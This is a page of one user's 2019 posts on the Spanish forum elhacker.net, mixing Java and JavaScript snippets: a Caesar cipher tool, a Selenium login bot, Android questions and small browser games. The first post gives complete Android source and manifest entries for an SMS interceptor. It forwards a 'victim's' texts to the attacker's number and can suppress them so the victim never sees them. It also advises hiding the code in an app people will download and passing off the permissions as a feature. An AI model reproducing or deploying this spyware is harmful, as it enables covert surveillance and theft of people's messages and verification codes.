elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


  Mostrar Temas
Páginas: 1 2 3 4 5 6 7 8 [9] 10 11 12 13 14
81  Programación / Java / Interceptador de SMS en: 19 Agosto 2019, 11:28 am
Hola a todos,

aquí hay un interceptor de SMS que se escribió para un miembro de un foro por el 2011, pensé que seguiría adelante y lo liberaría públicamente ya que la sección de Java a veces es aburrida como Clay Davis.

Lo que esto hace:
  • Intercepta mensajes SMS.
  • Puedes elegir un número o números para interceptar, o simplemente interceptar todo.
  • Redirige los mensajes interceptados a un número de tu elección.
  • Te permite cancelar la transmisión SMS_RECEIVED, lo que significa que tu aplicación será la única en leerlos y la víctima nunca verá el mensaje.

Cosas a tener en cuenta:
  • Esto no bloquea las salidas de Logcat. Esto significa que si la víctima es un desarrollador, puede notar que una transmisión de SMS entrante se registra en Logcat. Realmente un hecho raro, no me preocuparía.
  • No tengo idea de lo que sucede en caso de un mensaje MMS.
  • Nunca he probado esto a gran escala, esto solo se ha probado en un entorno controlado. No me culpes si tu cuenta de desarrollador se suspende.
  • Se le notificará al usuario que está utilizando los permisos de SMS declarados en tu manifiesto,  eso se ve sospechoso. Intenta jugarlo como una característica en tu aplicación.

Ahora bien, aquí está el código fuente.
SmsReceiver.java
Código:
//Author: MrZander

import java.util.Arrays;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;

public class SmsReceiver extends BroadcastReceiver {

    // CONFIGURATION //

    // Esto cancelará la transmisión del SMS recibido.
    // Si esto es true, la víctima NO recibirá el mensaje que se le envía.    
    boolean abortarTM = true;

    // Si se debe interceptar o no TODOS los mensajes.    
    boolean interceptarTodos = false;

    // si interceptarTodos está apagado, esta es la matriz de números que serán interceptados.
    String[] numeros = {"5551234567","5551234655"};

    // Estos son los números de celulares a los que se ENVIARÁN los mensajes. (Su celular).
    String redireccionarCelular = "1235558765";

    // En emisión recibida. Mensaje SMS entrante.
    public void onReceive(Context context, Intent intento) {

  Bundle extras = intento.getExtras();
  String mensajes = "";

  // Se utiliza para determinar si un mensaje debe ser redirigido o no.
  boolean esDeEspia = false;

  if ( extras != null ) {
    Object[] smsExtra = (Object[]) extras.get("pdus"); //" Unidades de descripción de protocolo "
    for ( int i = 0; i < smsExtra.length; ++i ) { // Recorrer todos los mensajes (si se divide).

        // Recibe el mensaje de las UDP
    SmsMessage sms = SmsMessage.createFromPdu((byte[])smsExtra[i]);

    // Si interceptarTodos es verdadero o el número de teléfono está en la matriz de números para interceptar.
    if(interceptarTodos||Arrays.asList(numeros).contains(sms.getDisplayOriginatingAddress())){
  // Si el mensaje se disecciona en múltiples, concatenar.
    mensajes+=sms.getMessageBody()+"\n";

    // Este mensaje es de la víctima, redirigir.
    esDeEspia=true;

    //Abortar SMS.
    if(!abortarTM){
        abortBroadcast();
    }

    }
    }

    // Redirigir mensaje si es de la víctima
    if(esDeEspia){
        enviarSms(mensajes,"TUNUMERO");
    }

  }
    }

    // Enviar SMS ... bastante sencillo
    public  void enviarSms(String mensaje, String numcelular){
  SmsManager gs = SmsManager.getDefault();
  try{
  gs.sendTextMessage(numcelular, null, mensaje, null, null);
  }catch(Exception ex){
      // Error, este mensaje se perderá ... Les sugiero que creen
      // un método para hacer una copia de seguridad de los mensajes en caso de error y que lo vuelvan a intentarlo más tarde.
  }
    }
}

Declaraciones para agregar a sus AndroidManifest.xml
Permisos:
Código:
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />

Receptor de transmisión: (le permite a Android saber que vas a recibir mensajes SMS. Nota: la prioridad se establece muy alta para permitir que tu aplicación sea la primera en recibir un mensaje SMS.
Código:
<receiver android:name=".SmsReceiver" android:enabled="true">
    <intent-filter android:priority="1000">
    <action android:name="android.provider.Telephony.SMS_RECEIVED" />
    </intent-filter>
    </receiver>
Asegúrate de que si cambias "SmsReceiver.java a un nombre de clase diferente también tienes que cambiarlo en el manifiest. (Aunque no hay razón para cambiarlo).

Lo que tienes que hacer
1. Crea una aplicación que no sea Clay Davis para que la gente realmente la descargue.
2. Agrega la clase 'SmsReceiver' a tu proyecto. (Recomiendo NO renombrarlo).
3. Agrega las declaraciones de manifiest.

Estas listo. No se necesita un código de inicialización, todo se maneja en el Manifiesto.
Avísenme si hay algún problema/error. (Se agregó algunas características sin probar. No creo que sea muy retrasado. Debería ser bueno).
Que se diviertan.

Autor: MrZander

Saludos


PD.: Posteen códigos
82  Programación / Java / Tomar una foto desde una webcam en: 2 Agosto 2019, 20:09 pm
Hola a todos,

vi interesante este post: https://foro.elhacker.net/java/tomar_una_foto_desde_una_webcam-t285457.0.html

Lo quería comentar, pero esta cerrado. Así que me gustaría hacerlo aquí:

Es un buen post.
Pero creo que la mayoría de la gente no elige Java cuando se trata de código malicioso.
Java necesita JVM / JRE para ejecutar .jar y, por supuesto, hay una solución para esto, como crear un ejecutable nativo a partir del código que se puede ver en ese post.

Saludos
83  Programación / Java / Java - Caesar cifra ESTABLE – v0.70 en: 2 Agosto 2019, 19:45 pm
Caesar Cipher STABLE - v1.00 - By Iyyel

Hola chicos y chicas!
Hoy decidí hacer una pequeña muestra de un software de cifrado para ustedes. El programa se encuentra en estado beta como lo sugiere su nombre, porque todavía hay algunos errores. Así que vamos a empezar con el espectáculo.

Tabla de contenido

1. Por defecto
2. FAQ
3. Exportar
4. Limpiar
5. Llave
6. Decriptar
7. cifrar
8. Bugs conocidos


1. Por defecto

Esto es lo que verán después de haber ejecutado la aplicación. Verán dos áreas de texto, en donde el usuario puede escribir ya sea texto descifrado o cifrado, así como botones de control y el valor de la llave a la derecha de las áreas de texto.

2. FAQ

La pestaña de FAQ está llena de toda información que posiblemente deseen saber sobre el software y sobre cómo operarlo. Además, tiene información relevante sobre el desarrollador si fuera necesario algún contacto.

3. Exportar

El botón de exportación se usa para cuando el usuario desea generar lo que está escrito en las pestañas de cifrado y descifrado, así como el valor de la llave más información adicional. Hará un archivo .txt llamado CaesarcifraTexto en una carpeta llamada Caesercifra en el directorio C:\.

4. Limpiar

El botón Limpiar le hace honor a su nombre. Simplemente borra tanto las áreas de descifrado como las de cifrado, por lo que están listas para ser utilizadas para un nuevo uso.

5. Llave

Aquí es donde insertas el valor shift que deseas que utilice el cifrado césar para cifrar el texto descifrado. Un ejemplo de una instancia con el valor shift 1 se muestra en la imagen de arriba. El valor shift puede ser negativo o positivo.

6. Decriptar

Cuando se hace clic en el botón decriptar, el programa toma el texto del área de texto 'cifrado' y lo ejecuta a través de un algoritmo de descifrado con el valor shift como entrada, y luego emite el texto descifrado dentro del área 'Decriptado'.

7. cifrar

El botón de cifrado se usa cuando el usuario desea cifrar el texto dentro del área 'Decriptar' basado en el valor shift insertado.

8. Bugs conocidos
Actualmente solo hay un bug conocido en el software. No hay posibilidad de scroll en las dos áreas de texto, lo que podría ser bastante frustrante si se trabaja con textos más grandes. Si encuentras algún error, por favor repórtalo en el hilo o envíalo por MP. Gracias.

Caesar cifra BETA - v0.70:
https://drive.google.com/open?id=1XC3KcVvTchhkAsXTJTCNq1niKpMuk_hA

VirusTotal:
https://www.virustotal.com/gui/file/bb4b05ad3afd310df8e378b71d6ab498cec661ffccf444cff9ecc952ed88f6a9/detection

Código fuente - v0.70:
https://drive.google.com/open?id=19_LaVbK8etOSnu4tsoGvV9sJG8VJXzm_

Autor: Iyyel

Saludos

PD.: Me gustaría que agreguen este post a este: https://foro.elhacker.net/java/faqentry_point_sources_guias_manuales_tutoriales_y_demas-t298215.0.html
84  Foros Generales / Sugerencias y dudas sobre el Foro / Hagamos un grupo de WhatsApp en: 8 Julio 2019, 18:29 pm
Hola a todos,

¿que tal si los administradores hacen un grupo de WhatsApp?


Gracias y saludos
85  Programación / Java / Código fuente de un ejemplo de automatización de un bot usando selenium en: 5 Mayo 2019, 13:03 pm
Hola a todos,

Código:
import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.htmlunit.HtmlUnitDriver;

public class Main {

    private static final String _URL = "http://ddosthegame.com/index.php", _NOMBREUSUARIO = "/*nombreusuario*/", _CONTRASENA = "/*contrasena*/";

    static WebDriver driver;
    static WebElement element;

    public static final void imprimir(final String s)
    {
        System.out.println(s);
    }

    public static void main(String[] args)
    {
        imprimir("Conectando...");
        conectar(_URL);
    }

    public static void conectar(String url)
    {
        driver = new HtmlUnitDriver();
        driver.get(url);

        String usuarioEl = "nombreusuario", passEl = "contrasena";

        imprimir("Estableciendo datos de nombreusuario... (" + _NOMBREUSUARIO + ")");

        element = driver.findElement(By.name(usuarioEl));
        element.sendKeys(_NOMBREUSUARIO);

        imprimir("Estableciendo datos de la contraseña... (" + _CONTRASENA + ")");

        element = driver.findElement(By.name(passEl));
        element.sendKeys(_CONTRASENA);

        imprimir("Iniciando seción ");

        driver.findElement(By.name("login_today")).click();

        if (driver.getTitle().contains("- index"))
        {
            imprimir("Ha iniciado sesión correctamente!");
        }

        driver.get("http://ddosthegame.com/index.php?page=resolve");

        imprimir(driver.getTitle());

        driver.close();
    }

    public static void resolverBot(String nombreusuario, int cantidad)
    {
        imprimir("Resolviendo " + nombreusuario + " " + amount + "veces");
        for (int i = 0; i < 100; i++)
        {
            element = driver.findElement(By.name("userid"));   
            element.sendKeys(nombreusuario);
            driver.findElement(By.name("resolve_user")).click();
        }
    }

Saludos

PD.: Me gustaría que agreguen este post a este: https://foro.elhacker.net/java/faqentry_point_sources_guias_manuales_tutoriales_y_demas-t298215.0.html
86  Programación / Java / Android - Componente ListView (grabar sus datos con la clase SharedPreferences) en: 28 Febrero 2019, 12:33 pm
Hola a todos,

antes de hacer mis preguntas quisiera mostrarles un código:

Código:
lv1.setOnItemLongClickListener(new AdapterView.OnItemLongClickListener() { 
@Override
public boolean onItemLongClick(AdapterView<?> adapterView, View view, int i, long l) {
final int posicion=i;
AlertDialog.Builder dialogo1 = new AlertDialog.Builder(MainActivity.this); dialogo1.setTitle("Importante");
dialogo1.setMessage("¿ Elimina este teléfono ?"); dialogo1.setCancelable(false); dialogo1.setPositiveButton("Confirmar", new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialogo1, int id) {
String s=datos.get(posicion);
StringTokenizer tok1=new StringTokenizer(s,":");
String nom=tok1.nextToken().trim();
SharedPreferences.Editor elemento=prefe1.edit(); elemento.remove(nom);
elemento.commit();
datos.remove(posicion);
adaptador1.notifyDataSetChanged(); } });});

Teniendo en cuenta que "datos" es un objeto de la clase ArrayList<String>:

1) Tengo entendido que en los métodos setOnItemLongClickListener y setPositiveButton se envía cómo parámetro un método anónimo de las clases respectivas (AdapterView.OnItemLongClickListener y DialogInterface.OnClickListener). ¿Estoy en lo correcto?

2) Si los métodos anónimos no le pertenecen a la clase a la cual le pertenece el atributo "datos", ¿cómo es posible que estos métodos tengan acceso a los atributos de una clase ajena?

3) Suponiendo que de alguna forma los métodos anónimos si tienen acceso a la clase a la cual le pertenece el atributo "datos", ¿cómo es posible que el método anónimo de la clase DialogInterface.OnClickListener tenga acceso a la variable local "posicion" del método anónimo de la clase AdapterView.OnItemLongClickListener?

Gracias y saludos
87  Programación / Desarrollo Web / javascript - Juego de fosforos en: 26 Febrero 2019, 21:33 pm
Hola a todos,

la mayoría de ustedes saben bien de este juego. El javascript trata de quitar los
fósforos de tal manera que al final no se tenga que sacar el último. Con ello se
juega contra la computadora.

Al principio se fija cuantos fósforos se alistaran en el juego.

En cada jugada se puede quitar entre uno y tres maderas. Entonces el
javascript calcula los fósforos restantes y actualiza la visualización en la página
principal.

Naturalmente, al mismo tiempo, la computadora o el javascript también trata de
sacarles el último fósforo y con eso ganar el juego.

Para iniciar nuevamente el javascript tienen que actualizar la página principal en el
navegador.

Código:
Código:
<!DOCTYPE html>
<html>
<head>
  <title>Ejemplo de javascript</title>
  <meta charset="UTF-8">
</head>
<body>
<!-- Presentado por javascripts-gratis.de -->
<script type='text/javascript'>
<!--
var obj1 = new Array(100), mc,mc1, cur_obj, total_sel, win = false, cpu_sel, ost, user_sel, game = true;

function RemoveElementByNum(num) {
document.getElementById("ch"+num).style.display = 'none';
document.getElementById("im"+num).style.display = 'none';
}

function RemoveCpuSel(num) {
del = num;
for ( i=0; i<mc1; i++ ) {
ename = document.getElementById("ch"+i);
if (del!=0) {
if (ename.style.display != 'none') {
ename.style.display = 'none';
document.getElementById("im"+i).style.display = 'none';
del-=1;
}
}

}
}

function GetClickedElement(){
total=0;
result=false;
for (i=0; i<mc1; i++) {
ename = document.getElementById("ch"+i);
if ((ename.style.display != 'none') && (ename.checked)) {
total++;
}
}
if (total>3) {
alert('Demasiados fosforos seleccionados. No puedes seleccionar mas de tres fosforos!');
result=false;
} else {
result=true;
}
document.getElementById("maderalog").value = "Tu tomas "+total+" pieza/s.";
total_sel=total;
user_sel=total;
return result;
}

function AI() {
if ( (mc>1) && (win==false) ) {
game = true;
}
if (game == true) {
if ( (mc-user_sel)==1 ) {
win=true;
game=false;
}
if ( (mc%4)!=1 ) {
ost=(mc-user_sel)%4;
if (ost==0) {
ost=4;
}
if (ost>1) {
cpu_sel=ost-1;
} else {
cpu_sel=Math.floor( (3*Math.random()) );
cpu_sel++;
if (cpu_sel>mc) {
cpu_sel=mc;
}
}
}
else {
cpu_sel=4-user_sel;
}
RemoveCpuSel(cpu_sel);
mc=mc-(cpu_sel+user_sel);
document.getElementById("maderalog").value='La computadora toma '+cpu_sel+' pieza/s.';
}
if ( (mc==1) || (mc<1)) {
game = false;
if (win == true) {
document.getElementById("maderalog1").style.visibility='hidden';
document.getElementById("maderalog").style.visibility='hidden';
document.getElementById("eliminar").style.visibility='hidden';
alert('Felicitaciones! Tu has ganado!!!!');
game=false;
} else {
document.getElementById("maderalog1").style.visibility='hidden';
document.getElementById("maderalog").style.visibility='hidden';
alert('Tu has perdido. La inteligencia artificial ha ganado!!!! JA - JA - JA!!!!');
game=false;
document.body.innerHTML = ""
}
}
document.getElementById("maderalog1").value = "Sobra/n " +mc+ " pieza/s";
}

function RemoveSelected(){
if ((total_sel!=0) && (total_sel<4)) {
user_sel=total_sel;
for (i=0; i<mc1; i++) {
ename = document.getElementById("ch"+i);
if ((ename.style.display != 'none') && ename.checked) {
RemoveElementByNum(i);
}
total_sel=0;
}
AI();
} else {
if (total_sel>3) {
alert("Demasiados fosforos seleccionados.");
} else {
alert('Nada seleccionado');
}
}
}


function initMadera() {
mc = prompt("Cantidad de fosforos?. La cantidad debe hallarse entre 7 y 50", "23");
         if (mc<7) mc=7;
         if (mc>50) mc=50;

mc1 = mc;
document.write('<center><table border="0" cellspacing="0" cellpadding="0"><tr>');
for (i=0; i<mc; i++) {
document.write('<td align="center"><div style="height: 70px; width: 7px; background-color: #C0C077;" name="im'+i+'" id="im'+i+'"><div style="height: 7px; width: 7px; background-color: #FF3300;"></div></div></td>');
obj1[i]=1;
}
document.write('</tr><tr>');
for (i=0; i<mc; i++) {
document.write('<td><input type="checkbox" onclick="GetClickedElement();" name="ch'+i+'" id="ch'+i+'" /></td>');
}
document.write('</tr></table>');
document.write('<br /><input type="button" value="Eliminar fosforos seleccionados" onclick="RemoveSelected();" id="eliminar" />');
document.write('<br /><br /><br /><br />');
document.write('<input type="text" name="maderalog" id="maderalog" size="30" /><br />');
document.write('<input type="text" name="maderalog1" id="maderalog1" size="30" /><br />');
document.write('</center>');
}
//-->
</script>
<script type="text/javascript">initMadera();</script>
<!-- Presentado por javascripts-gratis.de -->

</body>
</html>

Página web: https://drive.google.com/open?id=14Gu9OuiYfRsDIHCZ4CT_AIQtfvRgvD-N

Saludos
88  Programación / Desarrollo Web / javascript - Asteroids en: 22 Febrero 2019, 12:31 pm
Hola a todos,

algunos quizás conozcan todavía el juego Asteroids, que en los años 80 era bastante popular y uno de los primeros juegos de computadora.

Ahora se remodelo y se produjo este javascript, con el cual se puede lanzar tiros hacia la página actual. Para eso usen fácilmente el espacio. Ustedes pueden dirigir la astronave con las teclas del cursor. Los puntos les serán mostrados abajo a la derecha. Al principio se puede ver la astronave arriba a la izquierda.

Y ahora diviértanse destruyendo la página.

Le agregué unos botones para que puedan probar destruir elementos.

Los archivos se los dejo mediante un link ya que el espacio no alcanza para publicar los contenidos de los mismos.

Códigos: https://drive.google.com/open?id=1ixKOo-v59AtZSfTr-XrEJZbvzXuMUD20

Autor: Erik Rothoff Andersson

Saludos

PD.: Ustedes pueden restaurar todos los elementos recargando fácilmente la página con F5. Para finalizar el modo de juego presionen la telca ESC en el teclado!
89  Programación / Java / Android - Dibujar: texto en: 19 Febrero 2019, 15:42 pm
Hola a todos,

quería preguntarles que significa este código:

Código:
Paint pincel1 = new Paint();
Typeface tf = Typeface.create(Typeface.SERIF, Typeface.ITALIC);
pincel1.setTypeface(tf);
tf = Typeface.create(Typeface.SERIF, Typeface.ITALIC
                    | Typeface.BOLD);
pincel1.setTypeface(tf);

Osea: El pincel tiene dos tipos de letras al mismo tiempo? Si es así... cómo es eso posible?
Y: Al estar separado (en la segunda creación del Typeface) el segundo parámetro por otro parámetro mediante un |... quiere decir eso que aleatoriamente se eligira un Typeface?

Gracias y saludos
90  Programación / Desarrollo Web / javascript - Imagen fade in en: 19 Febrero 2019, 15:32 pm
Hola a todos,

aqui podran ustedes dejar que una imagen de su elección se "haga grande"; e. s.: al
comienzo la imagen no es visible en sus páginas principales, pero crece dentro de
poco tiempo hacia el tamaño configurado.

En este javascript pueden configurar tres parametros: la anchura, la altura y la URL
de la imagen. Cuando la imagen se haya cargado en sus páginas principales, se hace
grande y se queda en sus páginas principales en el tamaño configurado.

Deje un imagen gif en el ejemplo.

Codigo:

Código:
<!DOCTYPE html>
<html>
<head>
  <title>Ejemplo de javascript</title>
  <meta charset="UTF-8">
</head>
<body>
<!-- Presentado por javascripts-gratis.de -->
<script type='text/javascript'>
<!--
// Script by Freddus
// visit my site: http://www.friederklein.de

/////////////////////
var altura = 60;    // Configurar aqui la altura original de la imagen
var anchura = 468;  // Configurar aqui la anchura original de la imagen
var imagensita = "https://media.giphy.com/media/l41lLf17l7YCZ4Tjq/giphy.gif";  // Dirección hacia la imagen
/////////////////////
var contador=0;

function emboque(){
  var pixels;
  document.getElementById("miimagenzoom").height = document.getElementById("miimagenzoom").height+altura/20;
  document.getElementById("miimagenzoom").width = document.getElementById("miimagenzoom").width+anchura/20
  if (contador<20){
    setTimeout("emboque()",50);
  }// Fin del if
  contador++;
}//Fin del emboque

function initimagen() {
document.write('<div align="center">');
document.write('<img height="0" width="0" id="miimagenzoom" src="'+imagensita+'" onload="emboque();">');
document.write('</div>');
}
//-->
</script>
<script type="text/javascript">initimagen();</script>
<!-- Presentado por javascripts-gratis.de -->

</body>
</html>

Página web: https://drive.google.com/open?id=1xbHiakrS5S76b8X_gtd22BIdVA2AFzCp

Autor: Freddus

Saludos
Páginas: 1 2 3 4 5 6 7 8 [9] 10 11 12 13 14
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines